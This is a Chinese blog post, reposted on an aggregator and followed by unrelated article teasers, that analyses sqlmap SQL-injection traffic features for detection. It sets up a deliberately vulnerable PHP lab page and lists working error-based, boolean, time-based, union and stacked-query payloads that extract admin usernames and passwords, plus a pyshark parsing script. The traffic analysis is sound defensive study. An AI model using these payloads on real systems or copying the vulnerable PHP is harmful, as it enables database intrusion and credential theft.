SQL注入流量分析

免責聲明:本文僅作分享 ~?

目錄

SQL注入流量分析

特征:

sqlmap注入類型

漏洞環境搭建

error_sql:

bool_sql:

time_sql:

union_sql:

Stacked Queries:

Inline Queries:


?

SQL注入流量分析

https://www.freebuf.com/column/161797.html

SQLMAP攻擊流量特征分析_sqlmap流量特征-CSDN博客


特征:

1-sqlmap UA   (流量中的headers)2-出現一些特殊字符(非法字符)
{eg:單引號--'、雙引號--""、括號--()、單引號括號--'(、雙引號括號--"(等一些常見的特殊的字符};
# --  注釋符3-出現SQL命令/語句
(增加、刪除、修改、查詢語句或者各語句之間的串接)
萬能密碼  and   or		'or'1'='14-出現常見的特殊函數
sql,  sleep 5-編碼   url ,base64 ,6-參數長度異常,非法字符,異常請求,錯誤響應,非常規流量

1、出現一些特殊字符{eg:單引號--'、雙引號--""、括號--()、單引號括號--'(、雙引號括號--"(等一些常見的特殊的字符};eg:http://localhost/index.php/?id=1'and+1=1--+
eg:http://localhost/index.php/?id=1 and 1=1 -- -和1 and 1=2 --+2、出現SQL命令/語句(增加、刪除、修改、查詢語句或者各語句之間的串接)eg:url/?id=1" union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) -- -
eg:url/?id=-1' union select 1,group_concat(schema_name),3 from  information_schemaschemata --+3、出現注釋符號(在語句的最后出現連續2個減號字元 -- 后的    文字為注解,或“/*”與“*/”所包起來的文字為注解)4、在url上出現萬能密碼字段  'or'1'='15、出現常見的特殊函數database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、order by()、unsion()、system_user()、version()、load_file()、seelp()、length()、exp()、group by()、substr()、and、or等函數。eg:?id=1” and updatexml(1,concat(0x7e,database()),3) --+
eg:?id=-1’ union select 1,2,seelp(5)--+
eg:1” union select updatexml(1,concat(0x7e,(select     group_concat(username) from users)),1) #6、出現各種編碼(eg:url編碼,base64編碼等)可利用Burp或 者在線解/編碼器進行操作查看是否有特殊字段。7、user-agent字段出現sqlmap/1.*.*.*#dev (http://sqlmap.org)

sqlmap注入類型

B Boolean-based blind,基于bool的盲注

E Error-based,基于報錯的注入

U Union query-based,聯合查詢注入

S Stacked queries,堆疊查詢注入

T Time-based blind,基于時間的盲注

Q Inline queries,內聯查詢注入,


漏洞環境搭建

phpstudy?

xxx.php??

<?php
// 連接到MySQL數據庫
$conn = new mysqli("localhost", "root", "password", "test_db");// 檢查連接
if ($conn->connect_error) {die("連接失敗: " . $conn->connect_error);
}// 獲取用戶輸入
$id = $_GET['id'];// 構造SQL查詢
$sql = "SELECT * FROM users WHERE id = $id";// 執行查詢
$result = $conn->query($sql);if ($result->num_rows > 0) {// 輸出數據while($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - Name: " . $row["name"]. " - Email: " . $row["email"]. "<br>";}
} else {echo "0 結果";
}$conn->close();
?>

xxx.html?

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>SQL</title>
</head>
<body><h1>SQL注入測試</h1><form action="error_based_injection.php" method="GET"><label for="id">用戶ID:</label><input type="text" id="id" name="id" placeholder="輸入用戶ID"><button type="submit">提交</button></form>
</body>
</html>

error_sql:

1.8#stable

xxx or sqlxxx

基于錯誤 ,報錯?--》引發sql語法報錯。

利用數據庫返回的錯誤信息來獲取數據庫結構或數據。

1 OR 1=1

特征:

響應長度,報錯查詢

每次只出一條數據.(一條一條出)
固定的錯誤長度 (例543 , 596,323)
(通過報錯帶出數據)
xxx or sqlxxx 	 無論如何,使條件為真,執行后門的sql語句。
id=1 OR (SELECT 9674 FROM(SELECT COUNT(*),CONCAT(0x7170626a71,(SELECT (ELT(9674=9674,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)/error_based_injection.php?id=1 OR (SELECT 9694 FROM(SELECT COUNT(*),CONCAT(0x717a7a6a71,(SELECT MID((IFNULL(CAST(id AS NCHAR),0x20)),1,54) FROM sql_ll.`admin` ORDER BY id LIMIT 2,1),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)/error_based_injection.php?id=1 OR (SELECT 1967 FROM(SELECT COUNT(*),CONCAT(0x7170626a71,(SELECT MID((IFNULL(CAST(password AS NCHAR),0x20)),1,54) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)


bool_sql:

%3E >

%2C ,

1 AND SUBSTRING((SELECT password FROM admin WHERE id=1), 1, 1) = 'a'

 id=1 AND 4823=4823單個字符出(單個單個出) ,通過返回的長度判斷。
單個字符出流量非常龐大id=1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),5,1))>1

看執行的sql語句 + 響應長度?,判斷是否

/error_based_injection.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),1,1))>64正常請求323 ---》 0 結果
TRUE: 有結果
False: 0 結果
(  >102不對,  >101對,   --》 102 == f)

http && frame.len>323


time_sql:

1 AND IF(SUBSTRING((SELECT password FROM admin WHERE id=1), 1, 1) = 'a', SLEEP(5), 0)

看響應時間,判斷是否

/error_based_injection.php?id=1 AND (SELECT 7090 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),16,1))>112,0,2)))))hUpu)sleep 2
單個字符出(正確的時間為2s,不正確<2s)  ,通過sleep判斷。
請求時間 

>102

>1 !=103 >96 >48 >103

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),4,1))>104,0,2)))))LXmR)

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),4,1))>102,0,2)))))LXmR) 2s

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),4,1))>103,0,2)))))LXmR)

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),4,1))!=103,0,2)))))LXmR)

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),5,1))>96,0,2)))))LXmR)

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),5,1))>48,0,2)))))LXmR)

id=1 AND (SELECT 8430 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sql_ll.`admin` ORDER BY id LIMIT 3,1),5,1))>1,0,2)))))LXmR)

import pyshark
from urllib.parse import unquote
import re
paks = pyshark.FileCapture(r"C:\Users\26255\Desktop\time_sql.pcapng", tshark_path=r"E:\wireshark\tshark.exe", display_filter='http.response && http.request.full_uri contains "id=1%20"')
s = ''
for pak in paks:# 使用 getattr 安全訪問屬性request_uri = getattr(pak.http, 'request_uri', None)request_time = getattr(pak.http,'time',None)if request_uri:# print(unquote(request_uri))# print(request_time)try:urlde_uri = unquote(request_uri)# pattern = r"(!=|>)\s*(\d+)"# mat = re.findall(pattern,urlde_uri)# s += str(mat) + '\n' + request_time + '\n's += urlde_uri + '\n' + request_time + '\n'# breakfinally:passelse:print("No request URI found in this packet")
print(s)
with open(r"C:\Users\26255\Desktop\1.txt",'w')as f:f.write(s)


union_sql:

id=1 UNION ALL SELECT NULL,CONCAT(0x71786b6a71,0x6f48516a4d5573666e654c6559775242444467706f766f7a6e70726b71575650426f5a7858764a64,0x716b626a71),NULL-- -

響應長度 比正常大一些。

聯合查詢
執行多條sql查詢語句  select 	UNION  select


Stacked Queries:

sqlxxx ; sqlxxx

Stacked Queries(堆疊注入)-CSDN博客

單個字符單個字符出,通過sleep判斷。
時間請求 sleep 
;

看響應時間。

/stacked_injection.php?id=2;SELECT IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 5,1),3,1))>114),SLEEP(1),1881)# 1s

/stacked_injection.php?id=2;SELECT IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 5,1),3,1))>115),SLEEP(1),1881)#

/stacked_injection.php?id=2;SELECT IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 5,1),3,1))!=115),SLEEP(1),1881)#

堆疊注入的? ?xxx.php :

<?php
// 連接到MySQL數據庫
$conn = new mysqli("localhost", "root", "root", "sql_ll");// 檢查連接
if ($conn->connect_error) {die("連接失敗: " . $conn->connect_error);
}// 獲取用戶輸入
$id = $_GET['id'];// 構造SQL查詢
$sql = "SELECT * FROM users WHERE id = $id";// 執行查詢
if ($conn->multi_query($sql)) {do {if ($result = $conn->store_result()) {while ($row = $result->fetch_assoc()) {echo "Name: " . $row["name"]. " - Email: " . $row["email"]. "<br>";}$result->free();}} while ($conn->next_result());
} else {echo "查詢失敗: " . $conn->error;
}$conn->close();
?>
--------------------<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>堆疊查詢注入測試</title>
</head>
<body><h1>堆疊查詢注入測試</h1><form action="stacked_injection.php" method="GET"><label for="id">用戶ID:</label><input type="text" id="id" name="id" placeholder="輸入用戶ID"><button type="submit">提交</button></form>
</body>
</html>

Inline Queries:

(內聯查詢)

拼接,語句分隔,

多語句執行


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/77239.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/77239.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/77239.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux 時間同步工具 Chrony 簡介與使用

一、Chrony 是什么&#xff1f; chrony 是一個開源的網絡時間同步工具&#xff0c;主要由兩個組件組成&#xff1a; chronyd&#xff1a;后臺服務進程&#xff0c;負責與時間服務器交互&#xff0c;同步系統時鐘。chronyc&#xff1a;命令行工具&#xff0c;用于手動查看或修…

Flutter:Flutter SDK版本控制,fvm安裝使用

1、首先已經安裝了Dart&#xff0c;cmd中執行 dart pub global activate fvm2、windows配置系統環境變量 fvm --version3、查看本地已安裝的 Flutter 版本 fvm releases4、驗證當前使用的 Flutter 版本&#xff1a; fvm flutter --version5、切換到特定版本的 Flutter fvm use …

Vue 項目中的package.json各部分的作用和用法的詳細說明

1. 基本信息 {"name": "my-vue-app","version": "1.0.0","description": "A Vue.js project","author": "Your Name <your.emailexample.com>","license": "MIT"…

Linux網絡編程——TCP通信的四次揮手

一、前言 上篇文章講到了TCP通信建立連接的“三次握手”的一些細節&#xff0c;本文再對TCP通信斷開連接的“四次揮手”的過程做一些分析了解。 二、TCP斷開連接的“四次揮手” 我們知道TCP在建立連接的時需要“三次握手”&#xff0c;三次握手完后就可以進行通信了。而在通…

某碰瓷國賽美賽,號稱第三賽事的數模競賽

首先我非常不能理解的就是怎么好意思自稱第三賽事的呢&#xff1f;下面我們進行一個簡單討論&#xff0c;當然這里不對國賽和美賽進行討論。首先我們來明確一點&#xff0c;比賽的含金量由什么來定&#xff1f;這個可能大家的評價指標可能不唯一&#xff0c;我通過DeepSeek選取…

Redis 緩存問題:緩存雪崩、緩存擊穿、緩存穿透

文章目錄 緩存雪崩緩存擊穿緩存穿透在實際的業務場景中,Redis 通常作為緩存和其他數據庫(例如 MySQL)搭配使用,用來減輕數據庫的壓力。但是在使用 Redis 作為緩存數據庫的過程中,可能會遇到一些常見問題,例如緩存穿透、緩存擊穿和緩存雪崩等。 緩存雪崩 緩存雪崩是指緩存…

Qt 入門 4 之標準對話框

Qt 入門 4 之標準對話框 Qt提供了一些常用的對話框類型,它們全部繼承自QDialog類,并增加了自己的特色功能,比如獲取顏色、顯示特定信息等。下面簡單講解這些對話框,可以在幫助索引中查看Standard Dialogs關鍵字,也可以直接索引相關類的類名。 本文將以一個新的項目為主介紹不…

買不起了,iPhone 或漲價 40% ?

周知的原因&#xff0c;新關稅對 iPhone 的打擊&#xff0c;可以說非常嚴重。 根據 Rosenblatt Securities分析師的預測&#xff0c;若蘋果完全把成本轉移給消費者。 iPhone 16 標配版的價格&#xff0c;可能上漲43%。 iPhone 16 標配的價格是799美元&#xff0c;上漲43%&am…

軟件需求分析習題匯編

需求工程練習題 一、選擇題 1. 軟件需求規格說明書的內容不應包括對&#xff08; &#xff09;的描述。 A. 主要功能B. 算法的詳細過程C. 用戶界面及運行環境D. 軟件的性能 *正確答案:*B:算法的詳細過程; 2. 需求分析最終結果是產生&#xff08; &#xff09; A. 項目開發…

clickhouse注入手法總結

clickhouse 遇到一題clickhouse注入相關的&#xff0c;沒有見過&#xff0c;于是來學習clickhouse的使用&#xff0c;并總結相關注入手法。 環境搭建 直接在docker運行 docker pull clickhouse/clickhouse-server docker run -d --name some-clickhouse-server --ulimit n…

智能語音識別工具開發手記

智能語音識別工具開發手記 序言&#xff1a;聽見數字化的聲音 在縣級融媒體中心的日常工作中&#xff0c;我們每天需要處理大量音頻素材——從田間地頭的采訪錄音到演播室的節目原聲&#xff0c;從緊急會議記錄到專題報道素材。二十多年前&#xff0c;筆者剛入職時&#xff0…

TDengine 3.3.6.0 版本中非常實用的 Cols 函數

簡介 在剛剛發布的 TDengine 3.3.6.0 版本 中&#xff0c;新增了一個非常實用的 函數COLS &#xff0c;此函數用于獲取選擇函數所在行列信息&#xff0c;主要應用在生成報表數據&#xff0c;每行需要出現多個選擇函數結果&#xff0c;如統計每天最大及最小電壓&#xff0c;并報…

【AI學習】AI Agent(人工智能體)

1&#xff0c;AI agent 1&#xff09;定義 是一種能夠感知環境、基于所感知到的信息進行推理和決策&#xff0c;并通過執行相應動作來影響環境、進而實現特定目標的智能實體。 它整合了多種人工智能技術&#xff0c;具備自主學習、自主行動以及與外界交互的能力&#xff0c;旨…

【MCP】VSCode Cline配置MongoDB連接

VSCode MCP插件配置MongoDB連接教程 前言 本文將介紹如何在VSCode中配置Cline插件連接MongoDB。 環境準備 VSCodeNode.jsMongoDB服務器Cline插件 配置步驟 1. 安裝MCP插件 在VSCode擴展商店中搜索"Cline"并安裝。 安裝完之后需要配置API平臺以及設置API-KEY。…

this指針 和 類的繼承

一、this指針 Human類的屬性fishc與Human&#xff08;&#xff09;構造器的參數fishc同名&#xff0c;但卻是兩個東西。使用this指針讓構造器知道哪個是參數&#xff0c;哪個是屬性。 this指針&#xff1a;指向當前的類生成的對象 this -> fishc fishc當前對象&#xff08;…

使用PyTorch訓練VGG11模型:Fashion-MNIST圖像分類實戰

本文將通過代碼實戰&#xff0c;詳細講解如何使用 PyTorch 和 VGG11 模型在 Fashion-MNIST 數據集上進行圖像分類任務。代碼包含數據預處理、模型定義、訓練與評估全流程&#xff0c;并附上訓練結果的可視化圖表。所有代碼可直接復現&#xff0c;適合深度學習初學者和進階開發者…

汽車BMS技術分享及其HIL測試方案

一、BMS技術簡介 在全球碳中和目標的戰略驅動下&#xff0c;新能源汽車產業正以指數級速度重塑交通出行格局。動力電池作為電動汽車的"心臟"&#xff0c;其性能與安全性不僅直接決定了車輛的續航里程、使用壽命等關鍵指標&#xff0c;更深刻影響著消費者對電動汽車的…

打造船岸“5G+AI”智能慧眼 智驅力賦能客船數智管理

項目介紹 船舶在航行、作業過程中有著嚴格的規范要求&#xff0c;但在實際航行與作業中往往會因為人為的疏忽&#xff0c;發生事故&#xff0c;導致人員重大傷亡和財產損失&#xff1b; 為推動安全治理模式向事前預防轉型&#xff0c;實現不安全狀態和行為智能預警&#xff0c…

C#二叉樹

C#二叉樹 二叉樹是一種常見的數據結構&#xff0c;它是由節點組成的一種樹形結構&#xff0c;其中每個節點最多有兩個子節點。二叉樹的一個節點通常包含三部分&#xff1a;存儲數據的變量、指向左子節點的指針和指向右子節點的指針。二叉樹可以用于多種算法和操作&#xff0c;…

WinForm真入門(11)——ComboBox控件詳解

WinForm中 ComboBox 控件詳解? ComboBox 是 WinForms 中一個集文本框與下拉列表于一體的控件&#xff0c;支持用戶從預定義選項中選擇或直接輸入內容。以下從核心屬性、事件、使用場景到高級技巧的全面解析&#xff1a; 一、ComboBox 核心屬性? 屬性說明示例?Items?下拉…